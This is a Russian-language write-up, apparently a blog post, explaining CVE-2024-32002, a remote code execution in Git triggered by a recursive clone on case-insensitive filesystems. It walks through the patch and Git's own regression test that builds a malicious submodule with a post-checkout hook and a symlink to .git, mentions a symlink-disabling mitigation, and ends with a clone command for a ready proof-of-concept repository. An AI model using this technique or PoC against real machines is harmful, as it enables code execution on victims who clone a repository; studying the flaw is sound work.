RCE через git clone
CVE-2024-32002
Сложность эксплуатации: простая
#RCE #CVE #git
Идея о том, что RCE может быть достигнута простой командой git clone.
Важное замечание: атака работает из-за включенных символических ссылок, следовательно можно избежать атаки выключив их git config --global core.symlinks false
Внутренняя кухня git'а
git - это система контроля версий, которая отслеживает изменения в коде с течением времени. Она управляет сложными проектами, разделяя их на более мелкие, управляемые куски, называемые репозиториями. Чтобы еще больше упростить этот процесс, Git использует подмодули - по сути, репозитории, вложенные в другие репозитории. Запомните эту концепцию.
Каждый подмодуль находится в определенном каталоге в основном репозитории. Git отслеживает путь к подмодулю, обеспечивая точную запись изменений. Однако есть одна загвоздка: в файловых системах, не чувствительных к регистру (как, например, в Windows и macOS по умолчанию), A/modules/x и a/modules/x считаются одним и тем же путем. Эта, казалось бы, мелочь - это БАЗА для CVE-2024-32002.
Символьные ссылки
Символьные ссылки - это объекты файловой системы, которые служат указателями на другие файлы или каталоги. В контексте Git они могут использоваться для ссылок на другие части репозитория. Несмотря на удобство, симлинки также могут быть использованы во вредоносных целях.
Чекаем изменения в коммитах
Всего было изменено 2 файла, builtin/submodule--helper.c и t/t7406-submodule-update.sh
Рассмотрим builtin/submodule--helper.c
Сфокусируемся на функции clone_submodule, которая как вы могли догадаться, занимается клонируем.
- Новая функция
dir_contains_only_dotgit: Эта функция проверяет, содержит ли каталог только файл или каталог.git. Если присутствуют другие файлы или каталоги, она возвращает ошибку. Это выглядит как проверка безопасности, чтобы исключить случайную перезапись каталогов с помощью симлинков. - Изменения в
clone_submodule: Прежде чем приступить к клонированию, Git проверяет, существует ли каталог субмодуля и пуст ли он. Если нет, он прерывает операцию, чтобы избежать случайной перезаписи.
Изменения в clone_submodule
Прежде чем приступить к клонированию, Git проверяет, существует ли каталог субмодуля и пуст ли он. Если нет, он прерывает операцию, чтобы избежать случайной перезаписи.
Рассмотрим t/t7406-submodule-update.sh
test_config_global protocol.file.allow always && test_config_global core.symlinks true && tell_tale_path="$PWD/tell.tale" &&
- Скрипт устанавливает параметры конфигурации Git:
protocol.file.allowвсегда включает файловый протокол для Git. core.symlinks true обеспечивает включение поддержки симлинков. - Также скрипт определяет
tell_tale_pathкак файл-маркер для проверки работоспособности RCE.
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&- Инициализирует новый репозиторий с именем hook.
- Создает пост-чекаут хук, который записывает hook-run в
tell_tale_path. - Коммитит скрипт хука в репозиторий hook.
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&- Определяет путь к хранилищу hook'ов.
- Инициализирует другой репозиторий с именем
captain. - Добавляет репозиторий hook в качестве подмодуля в
A/modules/xи фиксирует это изменение. - Создает симлинк, указывающий на
.git, и обновляет индекс с помощью этого симлинка.
Тестим нашу вкусняшку
test_path_is_missing "$tell_tale_path" && test_must_fail git clone --recursive captain hooked 2>err && grep "directory not empty" err && test_path_is_missing "$tell_tale_path"
- Проверка, что tell_tale_path изначально не существует.
- Пытается рекурсивно клонировать репозиторий captain, ожидая, что операция завершится неудачей.
- Проверяет сообщение об ошибке directory not empty, подтверждая предотвращение уязвимости.
- Убеждается, что tell_tale_path по-прежнему не существует, что указывает на то, что hook после проверки не был запущен. Моей целью было сделать все наоборот!
Итог ресерча
Корень проблемы кроется в том, что файловые системы с учетом регистра воспринимают такие пути, как A/modules/x и a/modules/x, как идентичные. Это позволяет создать вредоносную симлинку внутри подмодуля. Эта символическая ссылка называется с учетом регистра пути подмодуля (например, A/modules/x), но скрытно указывает на скрытый каталог .git/ подмодуля.
⚠️ RCE PoC ⚠️
Эксплойт работает на Windows & MacOS
Вы можете забрать скрипт для билда репозиториев ТЫК
git clone --recursive git@github.com:szybnev/git_rce.git
➡️ Ресерч - https://amalmurali.me/posts/git-rce/